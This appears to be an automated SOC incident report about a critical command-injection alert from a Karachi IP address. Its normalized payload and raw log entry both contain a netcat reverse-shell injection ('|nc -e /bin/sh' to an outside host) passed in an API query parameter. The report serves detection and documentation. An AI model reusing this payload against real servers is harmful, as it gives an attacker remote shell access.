

# LOG-BASED SOC PLATFORM SECURITY INCIDENT REPORT

## Incident Summary

|               |                            |
|---------------|----------------------------|
| Incident Time | 02/Nov/2025:12:03:40 +0530 |
| Severity      | Critical                   |
| Threat Rule   | Command Injection / Shell  |
| Source IP     | 39.39.39.39                |
| IOC Confirmed | NO                         |

## IP Intelligence & Enrichment

|              |  |
|--------------|--|
| Private IP   | NO   |
| Country      | PK   |
| Region       | Sindh  |
| City         | Karachi  |
| Organization | AS17557 Pakistan Telecommunication Company Limited |
| ASN          | UNKNOWN  |
| Source       | CACHE  |

## Normalized Payload

```
get /api?cmd=|nc -e /bin/sh 192.0.2.1 9999 http/1.1
```

## Raw Log Evidence

```
39.39.39.39 -- [02/Nov/2025:12:03:40 +0530] "GET /api?cmd=|nc%20-e%20/bin/sh%20192.0.2.1%209999 HTTP/1.1" 200 40 "-" "Wget/1.19.4"
```

## Response Actions

|                 |                    |
|-----------------|--------------------|
| Firewall Action | No Firewall Action |
| Email Alert     | Not Sent           |
| PDF Report      | Generated          |